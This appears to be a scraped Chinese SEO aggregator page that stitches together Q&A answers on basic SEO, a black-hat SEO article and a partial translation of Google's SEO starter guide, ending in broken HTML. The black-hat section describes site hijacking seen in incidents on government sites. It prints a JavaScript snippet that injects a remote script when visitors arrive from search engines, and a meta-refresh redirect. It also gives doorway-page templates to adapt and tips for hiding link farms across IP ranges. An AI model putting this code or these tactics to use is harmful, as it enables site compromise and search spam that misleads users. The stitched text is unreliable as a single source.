「优化seo」 SEO是什么意思?是网站优化吗?如何做? 爱问知识人

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优化seo: SEO是什么意思?是网站优化吗?如何做? 爱问知识人

SEO就是搜索引擎优化的英文简称,就是指的通过对网站的代码、结构、内容能进行符合搜索引擎的优化和改版。使得网站的相关关键词在搜索引擎上获得较好的排名,进而获取流量。要做SEO的话,如果是个人可以自己上网找些资料,但是如果是公司,最好找一...

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搜索引擎优化 与竞价同为最流行的网络推广手段 可以来 学习一下

其他答案:搜索引擎优化,也可以叫做搜索引擎优化技术。

其他答案:SEO(Search Engine Optimization),汉译为搜索引擎优化,是较为流行的网络营销方式,主要目的是增加特定关键字的曝光率以增加网站的能见度,进而增加销售的机会。分为站外SEO和站内SEO两种。SEO的主要工作是通过了解各类搜索引擎如何抓取互联网页面、如何进行索引以及如何确定其对某一特定关键词的搜索结果排名等技术,来对网页进行相关的优化,使其提高搜索引擎排名,从而提高网站访问量,最终提升网站的销售能力或宣传能力的技术。

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你好,很高兴为您解答。 如果你有点网页编辑基础,就好 指出几点,懂得就做,不懂得我描述的就去百度一下。 1。title选取不正确,关键字定位不好。 如何选取关键字?这要根据你站主要卖什么产品定位 标题改成这样:caselogic|UMM CD|碟包|车用包|电脑包 -- DJAGE时代装备站 2。 你这些关键字不是很热门,在最下面搞个友情连接块,做友情连接,跟别人换站记得做文字连接和你站关键字连接 3。description描述要包含主关键字一次即可,要自然 4。你站图片偏多,要做alt描述,每张夹杂1~2个主关键字的描述,要一小句即可 5。 LOGO上面的图片都+个连接指向你首页,加大你首页的权重 6。你每篇文章或者发布每次产品都+上 产品关键字 连接到主页,做好内连 7。站在客户角度思考,做下 网站地图 和 RSS,并把RSS提交到GG SITEMAP 8。图片大小控制在30K内 9。 每天做1~2次友情连接 10。外链,开始不要那么多,要逐步起步。 怎么做外连去百度一下就清楚。 11。关键字密度,现在我实操发现百度好像摈弃了这点,反而越自然的关键字越好做,哪怕主页2个相同关键字也有排名。 大概就这几点做好站内优化吧 以下附加一些细节点: 具体做排名方法和照着我这样做是会提高排名的: 1。 定时定点更新 -- 某个时间段是指具体时间,比如早上10准 2。每天在这个时间段更新2~6篇文章或者内容,但是要固定篇数 今天不要2篇,明天4篇,2篇就一直2篇,固定下来 3。友情连接,查看下其他站有没有被降权 4。友情连接保持3个月不要删 5。 每篇文章最下面都做一个锚文本指向首页,相当内链 6。去其他站发软文是个好办法引蜘蛛,建议文章要做适当的优化 7。文章记得带锚文本连接指向到站点首页,一个关键字锚一次即可 8。外链不要一时多一时无,要逐步起来,逐步多,一次不要做100一次就不做等 9。 外链百度收录显示一般是url的,查询外链查看yahoo,这比较准确。 10。你站点的标题写很多关键字,其实不需要写那么多,主要3~4个即可 到后面的关键字几乎没有排名,权重很低,建议把那些次热门的关键字 做到内页标题,外发文章时+上关键字锚文本 11。 比如你发篇文章有锚文本没有URL被百度收录了,其实是你一个关键字外链来的,只是你domain:URL是不会包含在里面而已,用yahoo就能查清楚了。 12。这点比较重要,就是你只做LOGO指向首页而没有做好内页每个页面指向首页 导致内页权重偏重,应该每个页面都+文字连接返回首页(比如:返回首页) 可以利用底部申明处做个次级导航条,引导蜘蛛,加大首页权重。 13。做好上面,不怕你站权重分散,关键字得不到好排名,祝福你越做越好。 收起回答

优化seo: seo是怎么优化的?seo是怎么优化的? 爱问知识人

1。与搜索引擎对话:向各大搜索引擎登陆入口提交尚未收录站点。在搜索引擎看SEO的效果,通过site:你的域名,知道站点的收录和更新情况。通过 domain:你的域名或者link:你的域名,知道站点的反向链接情况。更好的实现与搜索引擎对话,建议采用Google网站管理员工具。 2。网站目录和页面优化:SEO不止是让网站首页在搜索引擎有好的排名,更重要的是让网站的每个页面都带来流量,长尾关键词采用内页优化。 3。内容发布和链接布置:搜索引擎喜欢有规律的网站内容更新,所以合理安排网站内容发布日程,每天更新的时间段,发布文章内容的原创性高,是SEO优化的重要技巧之一。 链接布置则把整个网站有机地串联起来,让搜索引擎明白每个网页的重要性和关键词,实施的参考是第一点的关键词布置。友情链接和站外链链的战役也是这个时候展开。 4。高质量的友情链接:建立高质量的友情链接,对于SEO优化来说,可以提高网站PR值以及网站的更新率,都是非常关键性的问题。 收起回答

其他答案:一、内部优化 (1)TITLE,KEYWORDS,DESCRIPTION等的优化 (2)HEAD,ALT属性等标签的优化 (3)内部链接的优化,包括相关性链接,锚文本链接,各导航等链接页 (4)有规律地保持站内的更新(主要是文章的更新等) 二、外部优化 (1)外部链接:博客,论坛,B2B等尽量保持链接的多样性,广泛性以及相关性 (2)每天添加一定数量的外部链接,提升稳定关键词的排名 (3)与一些和你网站相关性比较高,整体质量比较好的网站交换友情链接,巩固稳定关键词排名

优化seo:黑帽SEO,黑帽SEO优化技术手法篇(一)

SEO全称为搜索引擎优化,是指通过站内优化、站外优化等方式,提升搜索引擎收录排名。既然有SEO技术,便会有相应的从业人员,他们被称为白帽SEO,专指通过公正SEO手法,帮助提升站点排名的专业人员。

当然有白便会有黑,由于白帽SEO优化的过程将会十分漫长,一个新站想要获取好的排名,往往需要花上几年时间做优化推广。因此一些想要快速提升自身网站排名的小伙伴,便开始在SEO上研究作弊手法,从而诞生了黑帽SEO。黑帽SEO是指通过作弊手段,让站点快速提升排名的一类SEO技术,或者说是黑客技术,比如说:黑链(暗链)、站群、网站劫持、桥页等,黑帽SEO能够快速提升排名,但毕竟是违规作弊行为,容易被K。

此系统文章总共分为四篇,分别是手法篇、工具篇、隐藏篇、总结篇;本篇为黑帽SEO之手法篇,主要介绍黑帽seo的概念以及一些常用的手法。  

插曲:有趣的是,就在前几天有位朋友询问了我关于黑帽SEO方面的问题,原因是他一位朋友运营的一个网站,页面莫名其妙出现了赌博博彩的内容,删除后又会自动生成,其十分苦难便寻求他帮忙。


SEO的一些黑色手法

黑帽SEO的手法很多,并且在不断地更新换代,其中最常见的包括利用泛解析做站群,入侵高权重网站挂暗链,入侵高权重网站做网页劫持,篡改高权重网站网页内容,利用高权重网站二级目录做推广页面,修改nginx配置做目录反向代理等等。接下来我结合实际案例,介绍一些常用的手段。

斗篷法(Cloaking)

为什么叫斗篷法呢?可是因为只能看到斗篷,而不能看到真面目的意思吧!斗篷法指站长将一个网页用两个不同版本的页面,一个版本给搜索引擎看,一个版本给用户浏览。而搜索引擎只能看到斗篷。

如果用户访问,那返回的可能是一个高大上的页面,如果是搜索引擎访问,返回的可能是一个适合优化的页面。斗篷法基本用在灰色行业或是黑色行业中。桥页也叫:门页、跳页、过渡页,通常是用软件自动生成大量包含关键词的网页,然后从这些网页做自动转向到主页。

目的是希望这些以不同关键词为目标的桥页在搜索引擎中得到好的排名。当用户点击搜索结果的时候,会自动转到主页。有的时候是在桥页上放上一个通往主页的链接,而不自动转向。大部分情况下,这些桥页都是由软件生成的。你可以想象,生成的文字是杂乱无章,没有什么逻辑的。如果是由人写出来的真正包含关键词的文章,就不是桥页了。所谓的桥页也叫过渡页,是指一个页面打开之后会自动(或手动)转向到别的页面。(注意:这种方法在baidu里面可以使用,但不要用在google里!),我们来看一个html格式的桥页的全部代码:



这个页面打开后会在0秒(由content="0定义时间)内转向到目标网页(由meta标签中的url=">定义转向的站点),所以大家只要稍加修改,就可以变成你自己的桥页了。我们为我们的所有商品都建立一个这样的页面,每一个页面里都依次按照我们的商品设置不同的关键字,然后依次把这些页面上传到你的目录,比如为上传后的地址为:......那么我们再依次把这些地址一一的提交给搜索引擎,这样,当搜索引擎搜索到这些桥页并被用户打开后,会马上转入到你指定的主页。这样的话你的这些产品被搜索到的机会是不是就大大提高了?

对于桥页的建立,关键是还是关键字要选择好,就拿上面那个手机网站的例子来说,我们要依次为每一个关键字都要做一个单独的桥页,关键字要尽量的全。再有,一个关键字我们也完全可以做多个内容完全相同但名字一定要不相同的桥页,并一一的提交给搜索引擎来增加被搜索到的机率。它针对搜索引擎而作,通过根据特定的搜索词制作一些页面获得较好的排名,引导用户进入主站。有的时候是根据搜索引擎算法制作页面,迎合搜索引擎算法获得好的排名。但不管是那一种,它实际上都属于一种seo作弊行为。

桥页跳转方式

1、自动跳转,就像上面讲的,利用自动跳转代码,直接跳转到目标页,优点:用户不知道跳转到了其他页,比较信任。缺点:容易被搜索引擎发现。

2、手动跳转,在桥页上制作蓝色显眼链接,引导用户。优点:不容易被搜索引擎发现,缺点:用户信任度降低。

利用泛解析建立泛二级域名站群

利用DNS泛解析可以快速建立站群,因为一个一级域名便可以衍生出无数个二级域名,当然一般需要借助站群工具,因为建立站群需要有很多内容不同的页面,手工建立显然不可能。而seo人员大费周章地建立站群的目的,便是能够快速吸引大量的搜索引擎爬虫,增加网站在搜索引擎中的收录量。以下是某个泛二级域名站群案例截图:



需要说明的是,以上截图中的二级域名并不是通过一条条dns解析记录去绑定的,解析里面设置的是*,也就是泛解析。而服务器端有程序或者代码去控制当构造不同的二级域名访问时,会返回不同的网页内容,也就让搜索引擎误认为每个二级域名都是一个单独的网站。  

泛解析有很多优点,比如对用户友好(即使输错二级域名也能跳转到目标网站),又能够更快速地被搜索引擎收录等。基于这些优点,很多站长会选择用此方式来增加网站收录,然而如果没有妥善的使用泛解析可能会带来难以想象的危害。

利用泛解析做黑产

利用泛解析做黑帽seo的方式也有很多种,基于是否需要入侵网站以及dns服务器,我分为入侵法与非入侵法来介绍。

入侵法

真实案例:几个月前我们发现一个重要政府网站出现了大量博彩页面,取证截图如下:


经过分析我发现,此手法利用的便是泛解析,从截图中可以看到出现了大量此政府网站的二级甚至三级域名,而这些域名都是随机构造的,访问后会跳转到博彩色情等非法页面,而访问一级域名又是正常的内容。且先不分析跳转的过程中用到了哪些技术,单从泛解析记录就不难看出,此网站被人篡改了dns解析记录。我们有理由相信,黑客获取了此域名的dns解析控制权限,并将此域名泛解析到黑客准备好的服务器上。那么黑客这么做的目的很明显,为了让搜索引擎快速收录二级或者三级域名,从而达到引流到非法页面的目的。  

我们通过分析此政府网站被入侵特征推导出此事件过程应该是,黑客通过入侵手段获取到了该政府网站dns解析权限(如何获取暂不可知),然后通过添加泛解析记录,将此记录指向黑客准备好的服务器,而此服务器上有动态语言去实现通过不同二级域名访问,返回不同的页面结果功能。由于政府网站本身权重很高,因此二级域名页面被百度快速收录,达到为非法页面引流的目的。这种手法的好处在于不必入侵网站,而只要获取到域名解析权限即可(当然获取域名解析权限也并非易事)。

非入侵法

真实案例:几天前我们发现有一个网站(sdddzg.cn)利用泛解析做恶意推广,查看网站特征后,我们尝试构造不同的二级域名访问,取证截图如下。构造二级域名访问:



最终返回结果:


可以看到返回结果对网页内容以及url做了处理,当我们尝试构造不同的二级域名访问,发现返回结果内容都不一样,然而通过获取ip发现来自同一台服务器。首先我们不难想到,此域名一定是做了泛解析的,那么它是如何控制网页内容变化的呢?查看网页源码可以看到jiang.gov.cn网页源码被嵌入到了目标网页中。



那么其实想要实现此技术也并不难,可以在服务端上用代码实现。首先通过获取请求的二级域名地址,然后去访问该二级域名内容获取源码镶嵌到自己的网页内。如果构造的二级域名内容不是一个完整的域名地址(如:1.sdddzg.cn),则随机返回一段源码。这种手法的好处在于不必入侵网站,只需要自己搭建一台服务器即可,但推广效果没有那么好。

利用网站暗链

在网页中植入暗链这种手法已经相对落伍了,目前用的也比较少,因为搜索引擎已经能够对此作弊手法进行检测。为了介绍知识的完整性,此处我简单介绍一下。暗链也称为黑链,即隐蔽链接 hidden links,是黑帽SEO的作弊手法之一。挂暗链的目的很简单,增加网站外链,提高网站排名;实现方式主要分为几种:利用CSS实现、利用JS实现、利用DIV+JS实现等。具体介绍请参考:黑帽SEO之暗链

利用高权重网站,构造关键词URL做推广

真实案例:一年前当我刚研究黑帽SEO的时候发现了一个有趣的黑帽SEO方式,虽然手法比较拙劣老套,但却也有成效。于是在写这篇文章的时候,我特意找了一个典型案例,与大家分享,取证截图如下。



将URL中的参数内容显示到网页内,这原本是某些网页的一种特殊功能。以往的经验告诉我这种特性如果没有处理好,可能会引发XSS漏洞,而今我不得不认识到,这种特性也一直被用于黑帽seo。通过在url或者post数据包(常见于搜索框功能)中构造推广关键词,再将有推广关键词页面添加到蜘蛛池中,使搜索引擎收录就能达到推广的目的。一般此种手法常被用来推广qq号,盈利网站等(类似打广告),而当我们通过搜索引擎搜索某些关键词时(如色情资源),就会显示出此页面,从而达到推广自身账号或者网站的目的,当然这只是一种推广手段,并不太涉及引流。

利用网页劫持引流

网页劫持,又叫网站劫持或者搜索引擎劫持,是目前黑帽SEO中最流行的一种做法。其原因可以简单概括为:易收录、难发现,易收录表现为搜索引擎尚没有很好的机制能够检测出此作弊手段,网页劫持手法仍然能够大量引流。难发现是指网页劫持手法比较隐蔽,一般非技术人员很难发现它的存在。  

网页劫持从手法上可以分为服务端劫持、客户端劫持、百度快照劫持、百度搜索劫持等等;  

网页劫持的表现形式可以是劫持跳转,也可以是劫持呈现的网页内容(与直接篡改网页内容不同),目前被广泛应用于私服、博彩等暴利行业。

网页劫持真实案例



几个月前我处理了一起网页劫持案列,起因是某政府网站上出现了博彩相关内容(排除新闻页面),这显然是不合规的。排除管理员失误添加导致,恐怕此网站多半是被黑客入侵了。首先我访问了该记录上的链接,紧接着浏览器中出现了一个正常的政府页面,而也就须臾之间,网页瞬间又跳转到了博彩网页。图一为正常政府页面:



图二为博彩页面:


可以看到博彩页面的域名为0980828.com,显然不是先前的政府网站域名xxxx.gov.cn。看到此现象,再结合多年安全经验,我大致能够猜测此网站应该是被网页劫持了。通过分析以上过程的数据包,不难发现在该网站前端页面被嵌入了一段非法代码。



此代码存放在43.250.75.61服务器上,查看该服务器信息,发现其在日本。



而通过访问此段代码,返回内容则是跳转到0980828.com网站上。



分析至此,我们不难发现,导致页面跳转的原因便是xxxx.gov.cn网页被非法嵌入了一窜代码,而此代码能够控制访问该网页时跳转到博彩页面。这是搜索引擎劫持最为基础且常见的一种方式,其变种甚多,类型方式也各异。最后我通过登录web服务器查看,发现了存在大量html文件被篡改,且都在文件开头被写入外部js引用。那么此入侵事件过程应该是,黑客通过web应用程序某些漏洞入侵服务器(实际是管理后台弱口令+任意文件上传),通过批量篡改服务器静态文件实现网页劫持的目的。网页劫持的手法非常多,并不是这一个案例就能概括的,更多详细情况请继续看下文介绍。

服务端劫持

服务端劫持也称为全局劫持,此手法为修改网站动态语言文件,判断访问来源控制返回内容,从而达到网页劫持的目的。其特点往往是通过修改asp/aspx/php等后缀名文件,达到动态呈现网页内容的效果。  

Global.asa、Global.asax、conn.asp、conn.php等文件比较特殊,作用是在每次执行一个动态脚本的时候,都会先加载该脚本,然后再执行目标脚本。所以只要在 Global.asa 中写判断用户系统信息的代码(访问来源等),如果是蜘蛛访问则返回关键词网页(想要推广的网站),如果是用户访问则返回正常页面。

客户端劫持

客户端劫持的手法也很多,但最常用的就两种:js劫持与Header劫持。js劫持目的是通过向目标网页植入恶意js代码,控制网站跳转、隐藏页面内容、窗口劫持等。js植入手法是可以通过入侵服务器,直接写入源代码中;也可以写在数据库中,因为有些页面会呈现数据库内容。js劫持代码案例:以下代码可以使通过搜索引擎搜索的并点击页面时,执行一段js并跳转到博彩页面;而直接输入网址访问网页时,跳转到一个404页面。

today=new Date();ntoday=today.getYear()+"-"+(today.getMonth()+1)+"-"+today.getDate();nvar regexp=/.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(.[a-z0-9-]+){1,2}//ig;nvar where =document.referer;nif(regexp.test(where)){ndocument.write ('<script language="javascript" type="text/javascript" src="http://www.xxx.com/test.js"></script>');n}nelsen{nwindow.location.href="../../404.htm";n}

代码分析:通过referer判断来路,如果referer来路为空就是跳转到404页面,如果是搜索引擎来的referer里面也会有显示,然后在写代码控制跳转。如果只是控制实现显示不同的内容,可以修改php、asp代码;如果需要劫持搜索引擎搜索框,可以写JS代码来做浏览器本地跳转。当然js功能可以无限扩展,比如可以控制一个ip一天内第一次访问正常,其余访问跳转等等。header劫持,就是在html代码的head中添加特殊标签,代码如下:

<meta http-equiv="refresh" content="10; url=http://thief.one">

header劫持利用的就是Meta Refresh Tag(自动转向)功能将流量引走。

直接篡改网页内容(比较低级)

有些黑客在入侵网站后,喜欢直接篡改网页内容,比如放上自己的qq号,或者作为推广将网页篡改成非法页面。在此我对此做法的黑客表示鄙视,因为这是一种最恶劣最低级的手法。恶劣在于直接篡改网页内容,可能会导致网站无法挽回的损失;低级在于此手法极易被发现,起不到真正的引流推广作用。

链接农场

链接养殖场通常来者不拒,而且这些被搜集的网站通常是互不相关的。链接农场是一种被搜索引擎禁止的作弊方式,在正规的SEO中不论制作或者介入链接工厂,都会受到惩罚。

举例说明:某站长建立几十个甚至上百个简单的网站(很垃圾的网站),只做几个关键词(如:seo论坛,seo优化,seo基础),网站没有任何的可用信息和有效信息,只是通过互相建立友情链接,就能马上可以短期内排到百度搜索的首页,提高网站的权重,从而霸占市场,短期内获得高额利润。这个技术叫做linkfarm,属于黑帽技术,这些快速上升的网站也属于链接养殖场,短期内欺骗百度蜘蛛,当百度蜘蛛知悉后,站点基本也就被k了!

特点

1.链接农场中存在成百上千的Incoming/Inbound Links(导入链接),而且在死亡之前会不断增加。

2.链接农场是双向链接。外部链接链接到农场网站,农场网站链接到外部网站。

3.被链接农场链接的网站杂乱无章,没有类目和权重的要求

4.被链接农场链接的网站在Google搜索时,会在类似结果中出现乱七八糟的不相关网址。

5.链接农场有自助或手动的添加链接方式。

危害

(1)链接农场中的链接在权重计算中不予考虑。

(2)链接农场链接页面中的权重被降低。

(3)链接农场中链接页面本身的重要性被降低。

(4)链接农场中的页面导出链接重要性被降低。

(5)链接农场中链接页面关键词对用户来说毫无意义,被搜索引擎认为作弊。链接养殖场(Link Farm)与网址导航区别编辑网址导航一般不会要求与你交换链接,即不会要求你网站有他们的链接;而链接养殖场是双向链接,因此如果链接养殖场网站或网页单方面指向你的站点,则对你并没有任何影响。

运用

1、现在的站群,包括黑豹站群或是市面上主流的站群,都在利用链接农场。2、自己养一批站,然后导入链接注意一些基本OK

3、大多数的链接工厂,一般都是同类型网站、同IP网站相互之间的链接,或是IP的C段相同,这样很容易被K,思路来了,比如做100个站,可以同时租几个机器,IP段不同,然后10个站一个IP,这样,相互再换链接,被K的机率就小很多。

4、同类型、不同IP之间,应该没事,比如都是地方新闻网。

利用高权重网站二级目录

即黑客入侵网站后,在网站二级目录下创建很多自己做推广的页面。为了达到引流的目的黑客往往需要建立大量的二级目录页面,因此需要用到寄生虫程序来自动化的创建页面。此手法也需要入侵高权重网站,获取网站服务器权限。与网页劫持手法不同的是,此手法侧重点在于利用高权重网站自身的优势,在其目录下创建多个推广页面;而网页劫持侧重隐藏自身,其可以做到动态呈现网页内容给客户。因此在实际使用中,黑客经常结合两者使用。此手法与利用泛解析做黑帽seo的手法还是有明显差异的,虽然同样是利用高权重网站本身的优势,但泛解析利用的是二级域名,而此手法利用的是二级目录,当然两者有异曲同工之妙。  

利用高权重网站二级目录手法的案例与泛解析案例类似,这里不再详述。既然我前面提到此手法往往需要寄生虫程序的配合使用,那么何为寄生虫程序?它又有何玄机?下篇将会详细介绍,敬请期待。

虽然黑帽SEO并不违法,但它确实违反了搜索引擎设定的网站管理员指南。换句话说,它仍然违反规则。这意味着如果你参与黑帽SEO,你必须愿意受到一个讨厌的惩罚作为惩罚。从搜索引擎获得惩罚将导致您的网站在搜索结果中下降或更糟糕,它可能会被完全删除。这意味着您的网站将获得更少的流量,并最终减少客户。

灰色的帽子SEO模糊线

你不会找到灰色帽子SEO,但你会发现它在黑色和白色帽子SEO的中间。如果有SEO策略,你很难将其归类为黑帽或白帽SEO,那么它可能是一种灰帽子技术。

什么是灰帽SEO?

灰色帽子搜索引擎优化包含略带阴影的SEO策略。虽然他们并不反对搜索引擎禁止的做法,但他们有点不道德。

灰色的帽子SEO线程接近黑帽SEO的线。灰帽SEO技术通常不会被列为网站站长指南中的禁止做法,但它们有点可疑。随着时间的推移,许多灰帽SEO的做法已经成为黑帽SEO的做法

其实当在写这篇文章前,我思索着尽量能够全面地介绍黑帽SEO知识以及手法。当开始写这篇文章的时候,我便有点无从下手,因为涉及知识面太广,手法又非常丰富,而当我写完这篇文章的时候,我觉得这一切才刚刚开始。

希望本文对你有所帮助

优化seo:搜索引擎优化 (SEO) 新手指南

搜索引擎优化 (SEO) 新手指南

本指南的适用对象搜索引擎优化 (SEO) 新手指南本指南的适用对象

如果您通过 Google 搜索运营、管理或推广在线内容,或通过在线内容获利,则本指南对您适用。如果您是业务快速发展的商家、拥有十几个网站的网站站长、网络代理方面的 SEO 专家,或者是对搜索机制具有强烈兴趣的 DIY SEO 达人,则本指南也适用于您。如果您有兴趣根据我们的最佳做法对 SEO 基础知识进行全面了解,那么本指南同样适用于您。本指南不会提供任何可让您的网站在 Google 中自动排位第一的秘诀(抱歉!),但是如果您遵循下面列出的最佳做法,则有望让搜索引擎更容易抓取、了解您的内容并将其编入索引。
搜索引擎优化 (SEO) 通常是指对网站的各个部分进行细微的修改。单独来看,这些修改可能只是逐步细微的改进,但与其他优化结合起来后,则可能会对您的网站在自然搜索结果中的用户体验和效果产生显著影响。您可能早已熟悉本指南中的许多主题,因为这些都是所有网页的基本要素,但您可能并没有充分利用它们。
您应该构建一个可让用户从中受益的网站,并且任何优化都应着眼于改善用户体验。您的其中一个用户便是搜索引擎,它可以帮助其他用户发现您的内容。搜索引擎优化是指帮助搜索引擎了解和呈现内容。您的网站可能比我们的示例网站要简单或复杂,所呈现的内容也可能截然不同,但我们下面讨论的优化主题对于所有大小和类型的网站均适用。我们希望本指南能在如何改进网站方面给您带来一些新的启发,同时欢迎您在 Google 网站站长帮助论坛1中提出问题、提供反馈、分享成功案例。
希望您会喜欢本指南的内容,并通过 Google 支持论坛分享您的反馈。
欢迎随时以适当的方式保存、打印或再次分享本指南:让我们携手共同提高网站的质量。
祝阅读愉快!
此致
Google 搜索质量团队敬上
原文地址如下support.google.com/webm
目录


预备知识
术语库
以下简要术语表包含了本指南中使用的重要术语:

  • 索引 – Google 会将所知道的全部网页存储在其“索引”中。每个网页的索引条目都会描述该网页的内容和位置(网址)。编入索引是指当 Google 抓取、读取网页并将其添加到索引的过程。例如:Google 今天已将我网站上的几个网页编入索引。
  • 抓取 – 寻找新网页或更新后的网页的过程。Google 会通过跟踪链接、读取站点地图或其他各种方式来发现网址。Google 通过抓取网页来寻找新增网页,然后(在适当的时候)将网页编入索引。
  • 抓取工具 – 从网络中抓取(提取)网页并将网页编入索引的自动化软件。
  • Googlebot – Google 抓取工具的通用名称。Googlebot 会持续不断地抓取网页。
  • SEO – 搜索引擎优化:使您的网站更易于搜索引擎抓取和编入索引的过程;也可指从事搜索引擎优化的人员的职位名称,例如:我们刚刚聘请了新的 SEO 来提升我们在网络上的曝光度。


您的网站是否已显示在 Google 搜索结果中?
确定您的网站是否在 Google 的索引中 – 请为您网站的首页网址执行“site:”搜索。如果您能看到相关结果,则表明您的网站在索引中。例如,搜索“site:wikipedia.org”将会返回这些结果2。
如果您的网站不在 Google 中 – 虽然 Google 可抓取数十亿网页的内容,但遗漏部分网站也在所难免。造成抓取工具遗漏网站的常见原因如下:

  • 网站未与网络上的其他网站紧密关联
  • 您刚刚推出新的网站,Google 还没来得及抓取
  • 网站的设计致使 Google 难以有效抓取其中的内容
  • Google 在尝试抓取网站时遇到问题
  • 您的政策阻止 Google 抓取网站

如何让我的网站显示在 Google 搜索结果中?
让网站纳入 Google 搜索结果完全免费,且操作简单,甚至不需要向 Google 提交网站。Google 是一个全自动搜索引擎,它使用网页抓取工具持续抓取网页,以便查找可添加到 Google 索引中的网站。实际上,显示在 Google 搜索结果中的大多数网站都不是手动提交收录的,而是 Google 在抓取网页时找到并自动添加的。了解 Google 如何发现、抓取和呈现网页3。
我们提供了网站站长指南4,以帮助您构建方便 Google 处理的网站。虽然无法保证我们的抓取工具一定能够找到某个特定网站,但遵循这些指南应该可以不难让您的网站显示在我们的搜索结果中。
Google Search Console 提供了一系列工具,可以协助您向 Google 提交内容,同时监测您的网站/移动应用在 Google 搜索结果中的曝光度。如果您愿意,当 Google 在抓取您网站的过程中发现任何严重问题时,Search Console 甚至可以向您发送提醒。注册 Search Console5。
首先,您需要问自己以下几个有关网站的基本问题。

  • 我的网站是否会显示在 Google 搜索结果中?
  • 我是否为用户提供了高品质的网站内容?
  • 我的本地商家是否会显示在 Google 搜索结果中?
  • 我的网站内容是否能让使用各种设备的用户轻松快速地找到?
  • 我的网站是否安全?

您可在 g.co/webmasters6 上找到更多入门信息
本文档其余部分介绍了如何优化您的网站以方便搜索引擎抓取(按主题整理)。您可从 g.co/WebmasterChecklist7 下载一份可打印的简要提示核对清单。
您是否需要 SEO 专家?
SEO(“搜索引擎优化”)专家是指能提高网站在搜索引擎中的曝光度的专业人员。如果按照本指南学习,您应能掌握优化网站所需的足够知识。此外,您可能也会考虑聘用一位 SEO 专业人员帮助您审核网页。
聘用 SEO 是一项重大决定,这有可能改善您的网站并节省时间。在研究聘用 SEO 可能带来的益处的同时,也务必考虑到不负责任的 SEO 可能会给您的网站带来的损害。很多 SEO 及其他代理机构和顾问会为网站所有者提供实用的服务,包括:

  • 审核您网站的内容或结构
  • 网站开发技术建议:如托管、重定向、错误页、JavaScript 的使用
  • 内容开发
  • 在线业务开发活动管理
  • 关键字研究
  • SEO 培训
  • 有关特定市场和地理位置的专业知识

在开始物色 SEO 之前,您不妨学习一些基本知识,熟悉搜索引擎的工作原理。建议您阅读本指南全部内容,尤其是以下资料:

如果您考虑聘用 SEO,那么越早聘用越好。您打算重新设计网站或启动新网站时是聘用 SEO 的最佳时机。如此一来,您和您的 SEO 就能确保网站的整体设计均便于搜索引擎处理。此外,优秀的 SEO 还能帮助您改进现有网站。
若想详细了解如何确定自己是否需要聘用搜索引擎优化服务商以及应注意哪些事项,请参阅“您需要搜索引擎优化服务商吗?”这篇帮助中心文章11
帮助 Google 找到您的内容
要让网站显示在 Google 搜索结果中,首要步骤便是确保 Google 能够找到它。最好的办法是提交站点地图。站点地图是网站上的一种文件,可告知搜索引擎网站上新增了网页或有更新的网页。详细了解如何构建和提交站点地图12。
Google 还会通过其他网页上的链接找到网页。请参阅后文“宣传您的网站”,了解如何吸引用户发现您的网站。
告诉 Google 不应抓取哪些页面
最佳做法
若为非敏感信息,则可以使用 robots.txt 阻止不必要的抓取
“robots.txt”文件会告诉搜索引擎是否可以访问您网站的各个部分并执行抓取。此文件必须命名为“robots.txt”,且应位于网站的根目录下。被 robots.txt 阻止的网页也可能会被抓取,因此您应使用更安全的方法保护敏感网页。

使用 robots.txt 阻止不必要的抓取
您可能不希望网站的某些页面被抓取,因为这些页面显示在搜索引擎的搜索结果中可能对用户无用。如果您希望阻止搜索引擎抓取您的网页,Google Search Console 可提供便捷的 robots.txt 生成器帮助您创建此文件。请注意,如果您的网站使用了子域名,并且您希望 Google 不要抓取特定子域名上的某些网页,那么您必须为该子域名单独创建一个 robots.txt 文件。若想详细了解 robots.txt,您最好参阅网站站长帮助中心内的使用 robots.txt 文件13指南。
了解更多可阻止内容显示在搜索结果中的方法14。
应避免的做法:

  • 不要让 Google 抓取内部搜索结果页。用户不喜欢点击搜索引擎结果后却又被转到您网站上的另一个搜索结果页上。
  • 允许抓取由代理服务器创建的网址。

若为敏感信息,则请使用更安全的方法
要阻止用户访问敏感或机密信息,Robots.txt 并不是一个适当或有效的方式。它只会告知运行良好的抓取工具不要抓取相应网页,却不会阻止您的服务器将这些网页发送给请求它们的浏览器。其中一个原因是:如果互联网上的某处(例如引荐来源网址日志)恰好存在指向这些被禁止访问的网址的链接,那么搜索引擎仍然能够引用这些网址(仅显示网址,但不显示标题或摘要)。此外,未同意遵守《漫游器排除标准》的不合规搜索引擎或流氓搜索引擎可能会违反您的 robots.txt 文件中的指令。最后,用户可能会出于好奇查看您的 robots.txt 文件中的目录或子目录,并猜测您不想让人看见的内容的网址。
在这些情况下,如果您只是希望网页不显示在 Google 中,则可使用 noindex 标记,无需担心任何用户会通过链接访问该网页。然而,为了做到真正的安全,您应该使用合适的授权方法(例如需要用户密码才能访问)或将网页从网站上彻底移除。
帮助 Google(和用户)了解您的内容
让 Google 以用户视角查看网页
当 Googlebot 抓取某个网页时,它应以普通用户查看网页的方式来查看它15。为了实现最佳的呈现和索引编制效果,请始终允许 Googlebot 访问您网站所用的 JavaScript、CSS 和图片文件。如果您网站的 robots.txt 文件禁止抓取这些资源,则会直接影响到我们的算法呈现您的内容并将其编入索引的效果,进而导致您的网站排名降低。
建议采取的措施:

  • 使用“网址检查”工具16。 该工具可让您确切地了解 Googlebot 所看到的内容以及它会如何呈现这些内容,有助于您找出并修复网站上存在的许多索引编制问题。

创建唯一且准确的网页标题
</code> 标记可告诉用户和搜索引擎特定网页的主题是什么。<code><title></code> 标记应放置在 HTML 文档的 <code><head></code> 元素中。您应该为网站上的每个网页创建一个唯一标题。<br/><br/></p><figure data-size="normal"><img src="https://pic1.zhimg.com/v2-bdeaaf6f929aeca4e52f3129d6230780_b.jpg" data-caption="" data-size="normal" data-rawwidth="300" data-rawheight="240" class="content_image" width="300"/></figure><p>唯一且准确的网页标题<br/>创建恰当的标题和摘要以在搜索结果中显示<br/>如果您的文档会显示在搜索结果页中,则 title 标记的内容可能会显示在相应结果的第一行(如果您不熟悉 Google 搜索结果的各个组成部分,不妨观看<a href="https://link.zhihu.com/?target=https%3A//www.youtube.com/watch%3Fv%3DMOfhHPp5sWs" class=" wrap external" target="_blank" rel="nofollow noreferrer">搜索结果解析视频</a> (The anatomy of a search 